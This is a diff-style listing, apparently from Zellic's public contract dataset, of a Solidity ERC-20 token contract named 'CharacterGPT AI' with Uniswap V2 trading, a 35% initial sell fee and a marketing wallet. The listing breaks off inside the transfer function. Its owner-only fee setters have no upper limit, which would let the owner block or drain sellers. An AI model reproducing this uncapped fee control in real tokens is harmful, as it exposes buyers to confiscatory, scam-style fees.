|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/**
|
4 |
+
|
5 |
+
|
6 |
+
*/
|
7 |
+
|
8 |
+
// SPDX-License-Identifier: MIT
|
9 |
+
pragma solidity =0.8.16;
|
10 |
+
pragma experimental ABIEncoderV2;
|
11 |
+
|
12 |
+
abstract contract Context {
|
13 |
+
function _msgSender() internal view virtual returns (address) {
|
14 |
+
return msg.sender;
|
15 |
+
}
|
16 |
+
|
17 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
18 |
+
return msg.data;
|
19 |
+
}
|
20 |
+
}
|
21 |
+
|
22 |
+
abstract contract Ownable is Context {
|
23 |
+
address private _owner;
|
24 |
+
|
25 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
26 |
+
|
27 |
+
constructor() {
|
28 |
+
_transferOwnership(_msgSender());
|
29 |
+
}
|
30 |
+
|
31 |
+
function owner() public view virtual returns (address) {
|
32 |
+
return _owner;
|
33 |
+
}
|
34 |
+
|
35 |
+
modifier onlyOwner() {
|
36 |
+
require(owner() == _msgSender(), "Ownable: caller is not the owner");
|
37 |
+
_;
|
38 |
+
}
|
39 |
+
|
40 |
+
function renounceOwnership() public virtual onlyOwner { //Change
|
41 |
+
_transferOwnership(address(0));
|
42 |
+
}
|
43 |
+
|
44 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
45 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
46 |
+
_transferOwnership(newOwner);
|
47 |
+
}
|
48 |
+
|
49 |
+
function _transferOwnership(address newOwner) internal virtual {
|
50 |
+
address oldOwner = _owner;
|
51 |
+
_owner = newOwner;
|
52 |
+
emit OwnershipTransferred(oldOwner, newOwner);
|
53 |
+
}
|
54 |
+
}
|
55 |
+
|
56 |
+
interface IERC20 {
|
57 |
+
|
58 |
+
function totalSupply() external view returns (uint256);
|
59 |
+
function balanceOf(address account) external view returns (uint256);
|
60 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
61 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
62 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
63 |
+
|
64 |
+
function transferFrom(
|
65 |
+
address sender,
|
66 |
+
address recipient,
|
67 |
+
uint256 amount
|
68 |
+
) external returns (bool);
|
69 |
+
|
70 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
71 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
72 |
+
}
|
73 |
+
|
74 |
+
interface IERC20Metadata is IERC20 {
|
75 |
+
|
76 |
+
function name() external view returns (string memory);
|
77 |
+
function symbol() external view returns (string memory);
|
78 |
+
function decimals() external view returns (uint8);
|
79 |
+
}
|
80 |
+
|
81 |
+
|
82 |
+
contract ERC20 is Context, IERC20, IERC20Metadata {
|
83 |
+
mapping(address => uint256) private _balances;
|
84 |
+
|
85 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
86 |
+
|
87 |
+
uint256 private _totalSupply;
|
88 |
+
|
89 |
+
string private _name;
|
90 |
+
string private _symbol;
|
91 |
+
|
92 |
+
constructor(string memory name_, string memory symbol_) {
|
93 |
+
_name = name_;
|
94 |
+
_symbol = symbol_;
|
95 |
+
}
|
96 |
+
|
97 |
+
function name() public view virtual override returns (string memory) {
|
98 |
+
return _name;
|
99 |
+
}
|
100 |
+
|
101 |
+
function symbol() public view virtual override returns (string memory) {
|
102 |
+
return _symbol;
|
103 |
+
}
|
104 |
+
|
105 |
+
function decimals() public view virtual override returns (uint8) {
|
106 |
+
return 18;
|
107 |
+
}
|
108 |
+
|
109 |
+
function totalSupply() public view virtual override returns (uint256) {
|
110 |
+
return _totalSupply;
|
111 |
+
}
|
112 |
+
|
113 |
+
function balanceOf(address account) public view virtual override returns (uint256) {
|
114 |
+
return _balances[account];
|
115 |
+
}
|
116 |
+
|
117 |
+
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
|
118 |
+
_transfer(_msgSender(), recipient, amount);
|
119 |
+
return true;
|
120 |
+
}
|
121 |
+
|
122 |
+
function allowance(address owner, address spender) public view virtual override returns (uint256) {
|
123 |
+
return _allowances[owner][spender];
|
124 |
+
}
|
125 |
+
|
126 |
+
function approve(address spender, uint256 amount) public virtual override returns (bool) {
|
127 |
+
_approve(_msgSender(), spender, amount);
|
128 |
+
return true;
|
129 |
+
}
|
130 |
+
|
131 |
+
function transferFrom(
|
132 |
+
address sender,
|
133 |
+
address recipient,
|
134 |
+
uint256 amount
|
135 |
+
) public virtual override returns (bool) {
|
136 |
+
_transfer(sender, recipient, amount);
|
137 |
+
|
138 |
+
uint256 currentAllowance = _allowances[sender][_msgSender()];
|
139 |
+
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
|
140 |
+
unchecked {
|
141 |
+
_approve(sender, _msgSender(), currentAllowance - amount);
|
142 |
+
}
|
143 |
+
|
144 |
+
return true;
|
145 |
+
}
|
146 |
+
|
147 |
+
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
148 |
+
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
|
149 |
+
return true;
|
150 |
+
}
|
151 |
+
|
152 |
+
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
153 |
+
uint256 currentAllowance = _allowances[_msgSender()][spender];
|
154 |
+
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
|
155 |
+
unchecked {
|
156 |
+
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
|
157 |
+
}
|
158 |
+
|
159 |
+
return true;
|
160 |
+
}
|
161 |
+
|
162 |
+
function _transfer(
|
163 |
+
address sender,
|
164 |
+
address recipient,
|
165 |
+
uint256 amount
|
166 |
+
) internal virtual {
|
167 |
+
require(sender != address(0), "ERC20: transfer from the zero address");
|
168 |
+
require(recipient != address(0), "ERC20: transfer to the zero address");
|
169 |
+
|
170 |
+
_beforeTokenTransfer(sender, recipient, amount);
|
171 |
+
|
172 |
+
uint256 senderBalance = _balances[sender];
|
173 |
+
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
|
174 |
+
unchecked {
|
175 |
+
_balances[sender] = senderBalance - amount;
|
176 |
+
}
|
177 |
+
_balances[recipient] += amount;
|
178 |
+
|
179 |
+
emit Transfer(sender, recipient, amount);
|
180 |
+
|
181 |
+
_afterTokenTransfer(sender, recipient, amount);
|
182 |
+
}
|
183 |
+
|
184 |
+
function _mint(address account, uint256 amount) internal virtual {
|
185 |
+
require(account != address(0), "ERC20: mint to the zero address");
|
186 |
+
|
187 |
+
_beforeTokenTransfer(address(0), account, amount);
|
188 |
+
|
189 |
+
_totalSupply += amount;
|
190 |
+
_balances[account] += amount;
|
191 |
+
emit Transfer(address(0), account, amount);
|
192 |
+
|
193 |
+
_afterTokenTransfer(address(0), account, amount);
|
194 |
+
}
|
195 |
+
|
196 |
+
function _approve(
|
197 |
+
address owner,
|
198 |
+
address spender,
|
199 |
+
uint256 amount
|
200 |
+
) internal virtual {
|
201 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
202 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
203 |
+
|
204 |
+
_allowances[owner][spender] = amount;
|
205 |
+
emit Approval(owner, spender, amount);
|
206 |
+
}
|
207 |
+
|
208 |
+
function _beforeTokenTransfer(
|
209 |
+
address from,
|
210 |
+
address to,
|
211 |
+
uint256 amount
|
212 |
+
) internal virtual {}
|
213 |
+
|
214 |
+
function _afterTokenTransfer(
|
215 |
+
address from,
|
216 |
+
address to,
|
217 |
+
uint256 amount
|
218 |
+
) internal virtual {}
|
219 |
+
}
|
220 |
+
|
221 |
+
library SafeMath {
|
222 |
+
|
223 |
+
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
224 |
+
unchecked {
|
225 |
+
uint256 c = a + b;
|
226 |
+
if (c < a) return (false, 0);
|
227 |
+
return (true, c);
|
228 |
+
}
|
229 |
+
}
|
230 |
+
|
231 |
+
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
232 |
+
unchecked {
|
233 |
+
if (b > a) return (false, 0);
|
234 |
+
return (true, a - b);
|
235 |
+
}
|
236 |
+
}
|
237 |
+
|
238 |
+
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
239 |
+
unchecked {
|
240 |
+
if (a == 0) return (true, 0);
|
241 |
+
uint256 c = a * b;
|
242 |
+
if (c / a != b) return (false, 0);
|
243 |
+
return (true, c);
|
244 |
+
}
|
245 |
+
}
|
246 |
+
|
247 |
+
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
248 |
+
unchecked {
|
249 |
+
if (b == 0) return (false, 0);
|
250 |
+
return (true, a / b);
|
251 |
+
}
|
252 |
+
}
|
253 |
+
|
254 |
+
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
|
255 |
+
unchecked {
|
256 |
+
if (b == 0) return (false, 0);
|
257 |
+
return (true, a % b);
|
258 |
+
}
|
259 |
+
}
|
260 |
+
|
261 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
262 |
+
return a + b;
|
263 |
+
}
|
264 |
+
|
265 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
266 |
+
return a - b;
|
267 |
+
}
|
268 |
+
|
269 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
270 |
+
return a * b;
|
271 |
+
}
|
272 |
+
|
273 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
274 |
+
return a / b;
|
275 |
+
}
|
276 |
+
|
277 |
+
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
278 |
+
return a % b;
|
279 |
+
}
|
280 |
+
|
281 |
+
function sub(
|
282 |
+
uint256 a,
|
283 |
+
uint256 b,
|
284 |
+
string memory errorMessage
|
285 |
+
) internal pure returns (uint256) {
|
286 |
+
unchecked {
|
287 |
+
require(b <= a, errorMessage);
|
288 |
+
return a - b;
|
289 |
+
}
|
290 |
+
}
|
291 |
+
|
292 |
+
function div(
|
293 |
+
uint256 a,
|
294 |
+
uint256 b,
|
295 |
+
string memory errorMessage
|
296 |
+
) internal pure returns (uint256) {
|
297 |
+
unchecked {
|
298 |
+
require(b > 0, errorMessage);
|
299 |
+
return a / b;
|
300 |
+
}
|
301 |
+
}
|
302 |
+
|
303 |
+
function mod(
|
304 |
+
uint256 a,
|
305 |
+
uint256 b,
|
306 |
+
string memory errorMessage
|
307 |
+
) internal pure returns (uint256) {
|
308 |
+
unchecked {
|
309 |
+
require(b > 0, errorMessage);
|
310 |
+
return a % b;
|
311 |
+
}
|
312 |
+
}
|
313 |
+
}
|
314 |
+
|
315 |
+
interface IUniswapV2Factory {
|
316 |
+
event PairCreated(
|
317 |
+
address indexed token0,
|
318 |
+
address indexed token1,
|
319 |
+
address pair,
|
320 |
+
uint256
|
321 |
+
);
|
322 |
+
|
323 |
+
function feeTo() external view returns (address);
|
324 |
+
|
325 |
+
function feeToSetter() external view returns (address);
|
326 |
+
|
327 |
+
function getPair(address tokenA, address tokenB)
|
328 |
+
external
|
329 |
+
view
|
330 |
+
returns (address pair);
|
331 |
+
|
332 |
+
function allPairs(uint256) external view returns (address pair);
|
333 |
+
|
334 |
+
function allPairsLength() external view returns (uint256);
|
335 |
+
|
336 |
+
function createPair(address tokenA, address tokenB)
|
337 |
+
external
|
338 |
+
returns (address pair);
|
339 |
+
|
340 |
+
function setFeeTo(address) external;
|
341 |
+
|
342 |
+
function setFeeToSetter(address) external;
|
343 |
+
}
|
344 |
+
|
345 |
+
interface IUniswapV2Pair {
|
346 |
+
event Approval(
|
347 |
+
address indexed owner,
|
348 |
+
address indexed spender,
|
349 |
+
uint256 value
|
350 |
+
);
|
351 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
352 |
+
|
353 |
+
function name() external pure returns (string memory);
|
354 |
+
|
355 |
+
function symbol() external pure returns (string memory);
|
356 |
+
|
357 |
+
function decimals() external pure returns (uint8);
|
358 |
+
|
359 |
+
function totalSupply() external view returns (uint256);
|
360 |
+
|
361 |
+
function balanceOf(address owner) external view returns (uint256);
|
362 |
+
|
363 |
+
function allowance(address owner, address spender)
|
364 |
+
external
|
365 |
+
view
|
366 |
+
returns (uint256);
|
367 |
+
|
368 |
+
function approve(address spender, uint256 value) external returns (bool);
|
369 |
+
|
370 |
+
function transfer(address to, uint256 value) external returns (bool);
|
371 |
+
|
372 |
+
function transferFrom(
|
373 |
+
address from,
|
374 |
+
address to,
|
375 |
+
uint256 value
|
376 |
+
) external returns (bool);
|
377 |
+
|
378 |
+
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
379 |
+
|
380 |
+
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
381 |
+
|
382 |
+
function nonces(address owner) external view returns (uint256);
|
383 |
+
|
384 |
+
function permit(
|
385 |
+
address owner,
|
386 |
+
address spender,
|
387 |
+
uint256 value,
|
388 |
+
uint256 deadline,
|
389 |
+
uint8 v,
|
390 |
+
bytes32 r,
|
391 |
+
bytes32 s
|
392 |
+
) external;
|
393 |
+
|
394 |
+
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
|
395 |
+
|
396 |
+
event Swap(
|
397 |
+
address indexed sender,
|
398 |
+
uint256 amount0In,
|
399 |
+
uint256 amount1In,
|
400 |
+
uint256 amount0Out,
|
401 |
+
uint256 amount1Out,
|
402 |
+
address indexed to
|
403 |
+
);
|
404 |
+
event Sync(uint112 reserve0, uint112 reserve1);
|
405 |
+
|
406 |
+
function MINIMUM_LIQUIDITY() external pure returns (uint256);
|
407 |
+
|
408 |
+
function factory() external view returns (address);
|
409 |
+
|
410 |
+
function token0() external view returns (address);
|
411 |
+
|
412 |
+
function token1() external view returns (address);
|
413 |
+
|
414 |
+
function getReserves()
|
415 |
+
external
|
416 |
+
view
|
417 |
+
returns (
|
418 |
+
uint112 reserve0,
|
419 |
+
uint112 reserve1,
|
420 |
+
uint32 blockTimestampLast
|
421 |
+
);
|
422 |
+
|
423 |
+
function price0CumulativeLast() external view returns (uint256);
|
424 |
+
|
425 |
+
function price1CumulativeLast() external view returns (uint256);
|
426 |
+
|
427 |
+
function kLast() external view returns (uint256);
|
428 |
+
|
429 |
+
function mint(address to) external returns (uint256 liquidity);
|
430 |
+
|
431 |
+
function swap(
|
432 |
+
uint256 amount0Out,
|
433 |
+
uint256 amount1Out,
|
434 |
+
address to,
|
435 |
+
bytes calldata data
|
436 |
+
) external;
|
437 |
+
|
438 |
+
function skim(address to) external;
|
439 |
+
|
440 |
+
function sync() external;
|
441 |
+
|
442 |
+
function initialize(address, address) external;
|
443 |
+
}
|
444 |
+
|
445 |
+
interface IUniswapV2Router02 {
|
446 |
+
function factory() external pure returns (address);
|
447 |
+
|
448 |
+
function WETH() external pure returns (address);
|
449 |
+
|
450 |
+
function addLiquidity(
|
451 |
+
address tokenA,
|
452 |
+
address tokenB,
|
453 |
+
uint256 amountADesired,
|
454 |
+
uint256 amountBDesired,
|
455 |
+
uint256 amountAMin,
|
456 |
+
uint256 amountBMin,
|
457 |
+
address to,
|
458 |
+
uint256 deadline
|
459 |
+
)
|
460 |
+
external
|
461 |
+
returns (
|
462 |
+
uint256 amountA,
|
463 |
+
uint256 amountB,
|
464 |
+
uint256 liquidity
|
465 |
+
);
|
466 |
+
|
467 |
+
function addLiquidityETH(
|
468 |
+
address token,
|
469 |
+
uint256 amountTokenDesired,
|
470 |
+
uint256 amountTokenMin,
|
471 |
+
uint256 amountETHMin,
|
472 |
+
address to,
|
473 |
+
uint256 deadline
|
474 |
+
)
|
475 |
+
external
|
476 |
+
payable
|
477 |
+
returns (
|
478 |
+
uint256 amountToken,
|
479 |
+
uint256 amountETH,
|
480 |
+
uint256 liquidity
|
481 |
+
);
|
482 |
+
|
483 |
+
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
484 |
+
uint256 amountIn,
|
485 |
+
uint256 amountOutMin,
|
486 |
+
address[] calldata path,
|
487 |
+
address to,
|
488 |
+
uint256 deadline
|
489 |
+
) external;
|
490 |
+
|
491 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
492 |
+
uint256 amountOutMin,
|
493 |
+
address[] calldata path,
|
494 |
+
address to,
|
495 |
+
uint256 deadline
|
496 |
+
) external payable;
|
497 |
+
|
498 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
499 |
+
uint256 amountIn,
|
500 |
+
uint256 amountOutMin,
|
501 |
+
address[] calldata path,
|
502 |
+
address to,
|
503 |
+
uint256 deadline
|
504 |
+
) external;
|
505 |
+
}
|
506 |
+
|
507 |
+
contract CharacterGPT is ERC20, Ownable {
|
508 |
+
using SafeMath for uint256;
|
509 |
+
|
510 |
+
IUniswapV2Router02 public immutable uniswapV2Router;
|
511 |
+
address public immutable uniswapV2Pair;
|
512 |
+
address public constant deadAddress = address(0xdead);
|
513 |
+
|
514 |
+
bool private swapping;
|
515 |
+
|
516 |
+
address public marketingWallet;
|
517 |
+
|
518 |
+
uint256 public maxTransactionAmount;
|
519 |
+
uint256 public swapTokensAtAmount;
|
520 |
+
uint256 public maxWallet;
|
521 |
+
|
522 |
+
bool public tradingActive = false;
|
523 |
+
bool public swapEnabled = false;
|
524 |
+
|
525 |
+
uint256 public buyTotalFees;
|
526 |
+
uint256 private buyMarketingFee;
|
527 |
+
uint256 private buyLiquidityFee;
|
528 |
+
|
529 |
+
uint256 public sellTotalFees;
|
530 |
+
uint256 private sellMarketingFee;
|
531 |
+
uint256 private sellLiquidityFee;
|
532 |
+
|
533 |
+
uint256 private tokensForMarketing;
|
534 |
+
uint256 private tokensForLiquidity;
|
535 |
+
uint256 private previousFee;
|
536 |
+
|
537 |
+
mapping(address => bool) private _isExcludedFromFees;
|
538 |
+
mapping(address => bool) private _isExcludedMaxTransactionAmount;
|
539 |
+
mapping(address => bool) private automatedMarketMakerPairs;
|
540 |
+
|
541 |
+
event UpdateUniswapV2Router(
|
542 |
+
address indexed newAddress,
|
543 |
+
address indexed oldAddress
|
544 |
+
);
|
545 |
+
|
546 |
+
event ExcludeFromFees(address indexed account, bool isExcluded);
|
547 |
+
|
548 |
+
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
|
549 |
+
|
550 |
+
event marketingWalletUpdated(
|
551 |
+
address indexed newWallet,
|
552 |
+
address indexed oldWallet
|
553 |
+
);
|
554 |
+
|
555 |
+
event SwapAndLiquify(
|
556 |
+
uint256 tokensSwapped,
|
557 |
+
uint256 ethReceived,
|
558 |
+
uint256 tokensIntoLiquidity
|
559 |
+
);
|
560 |
+
|
561 |
+
constructor() ERC20(unicode"CharacterGPT AI", "$CGPTAI") {
|
562 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
|
563 |
+
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
|
564 |
+
);
|
565 |
+
|
566 |
+
excludeFromMaxTransaction(address(_uniswapV2Router), true);
|
567 |
+
uniswapV2Router = _uniswapV2Router;
|
568 |
+
|
569 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
570 |
+
.createPair(address(this), _uniswapV2Router.WETH());
|
571 |
+
excludeFromMaxTransaction(address(uniswapV2Pair), true);
|
572 |
+
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
|
573 |
+
|
574 |
+
uint256 _buyMarketingFee = 10;
|
575 |
+
uint256 _buyLiquidityFee = 0;
|
576 |
+
|
577 |
+
uint256 _sellMarketingFee = 35;
|
578 |
+
uint256 _sellLiquidityFee = 0;
|
579 |
+
|
580 |
+
uint256 totalSupply = 1000000000 * 1e18;
|
581 |
+
|
582 |
+
maxTransactionAmount = 10000000 * 1e18;
|
583 |
+
maxWallet = 10000000 * 1e18;
|
584 |
+
swapTokensAtAmount = (totalSupply * 5) / 10000;
|
585 |
+
|
586 |
+
buyMarketingFee = _buyMarketingFee;
|
587 |
+
buyLiquidityFee = _buyLiquidityFee;
|
588 |
+
buyTotalFees = buyMarketingFee + buyLiquidityFee;
|
589 |
+
|
590 |
+
sellMarketingFee = _sellMarketingFee;
|
591 |
+
sellLiquidityFee = _sellLiquidityFee;
|
592 |
+
sellTotalFees = sellMarketingFee + sellLiquidityFee;
|
593 |
+
previousFee = sellTotalFees;
|
594 |
+
|
595 |
+
marketingWallet = address(0xBEE18DaCA3A87c0753B96cB82d0F373815D1F4fC);
|
596 |
+
|
597 |
+
excludeFromFees(owner(), true);
|
598 |
+
excludeFromFees(address(this), true);
|
599 |
+
excludeFromFees(address(0xdead), true);
|
600 |
+
|
601 |
+
excludeFromMaxTransaction(owner(), true);
|
602 |
+
excludeFromMaxTransaction(address(this), true);
|
603 |
+
excludeFromMaxTransaction(address(0xdead), true);
|
604 |
+
|
605 |
+
_mint(msg.sender, totalSupply);
|
606 |
+
}
|
607 |
+
|
608 |
+
receive() external payable {}
|
609 |
+
|
610 |
+
function enableTrading() external onlyOwner {
|
611 |
+
tradingActive = true;
|
612 |
+
swapEnabled = true;
|
613 |
+
}
|
614 |
+
|
615 |
+
function updateSwapTokensAtAmount(uint256 newAmount)
|
616 |
+
external
|
617 |
+
onlyOwner
|
618 |
+
returns (bool)
|
619 |
+
{
|
620 |
+
require(
|
621 |
+
newAmount >= (totalSupply() * 1) / 100000,
|
622 |
+
"Swap amount cannot be lower than 0.001% total supply."
|
623 |
+
);
|
624 |
+
require(
|
625 |
+
newAmount <= (totalSupply() * 5) / 1000,
|
626 |
+
"Swap amount cannot be higher than 0.5% total supply."
|
627 |
+
);
|
628 |
+
swapTokensAtAmount = newAmount;
|
629 |
+
return true;
|
630 |
+
}
|
631 |
+
|
632 |
+
function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
|
633 |
+
require(
|
634 |
+
newTxnNum >= ((totalSupply() * 5) / 1000) / 1e18,
|
635 |
+
"Cannot set maxTxn lower than 0.5%"
|
636 |
+
);
|
637 |
+
require(
|
638 |
+
newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 1e18,
|
639 |
+
"Cannot set maxWallet lower than 0.5%"
|
640 |
+
);
|
641 |
+
maxWallet = newMaxWalletNum * (10**18);
|
642 |
+
maxTransactionAmount = newTxnNum * (10**18);
|
643 |
+
}
|
644 |
+
|
645 |
+
function excludeFromMaxTransaction(address updAds, bool isEx)
|
646 |
+
public
|
647 |
+
onlyOwner
|
648 |
+
{
|
649 |
+
_isExcludedMaxTransactionAmount[updAds] = isEx;
|
650 |
+
}
|
651 |
+
|
652 |
+
function updateBuyFees(
|
653 |
+
uint256 _marketingFee,
|
654 |
+
uint256 _liquidityFee
|
655 |
+
) external onlyOwner {
|
656 |
+
buyMarketingFee = _marketingFee;
|
657 |
+
buyLiquidityFee = _liquidityFee;
|
658 |
+
buyTotalFees = buyMarketingFee + buyLiquidityFee;
|
659 |
+
|
660 |
+
}
|
661 |
+
|
662 |
+
function updateSellFees(
|
663 |
+
uint256 _marketingFee,
|
664 |
+
uint256 _liquidityFee
|
665 |
+
) external onlyOwner {
|
666 |
+
sellMarketingFee = _marketingFee;
|
667 |
+
sellLiquidityFee = _liquidityFee;
|
668 |
+
sellTotalFees = sellMarketingFee + sellLiquidityFee;
|
669 |
+
previousFee = sellTotalFees;
|
670 |
+
|
671 |
+
}
|
672 |
+
|
673 |
+
function excludeFromFees(address account, bool excluded) public onlyOwner {
|
674 |
+
_isExcludedFromFees[account] = excluded;
|
675 |
+
emit ExcludeFromFees(account, excluded);
|
676 |
+
}
|
677 |
+
|
678 |
+
function setAutomatedMarketMakerPair(address pair, bool value)
|
679 |
+
public
|
680 |
+
onlyOwner
|
681 |
+
{
|
682 |
+
require(
|
683 |
+
pair != uniswapV2Pair,
|
684 |
+
"The pair cannot be removed from automatedMarketMakerPairs"
|
685 |
+
);
|
686 |
+
|
687 |
+
_setAutomatedMarketMakerPair(pair, value);
|
688 |
+
}
|
689 |
+
|
690 |
+
function _setAutomatedMarketMakerPair(address pair, bool value) private {
|
691 |
+
automatedMarketMakerPairs[pair] = value;
|
692 |
+
|
693 |
+
emit SetAutomatedMarketMakerPair(pair, value);
|
694 |
+
}
|
695 |
+
|
696 |
+
function isExcludedFromFees(address account) public view returns (bool) {
|
697 |
+
return _isExcludedFromFees[account];
|
698 |
+
}
|
699 |
+
|
700 |
+
function _transfer(
|
701 |
+
address from,
|
702 |
+
address to,
|
703 |
+
uint256 amount
|
704 |
+
) internal override {
|
705 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
706 |
+
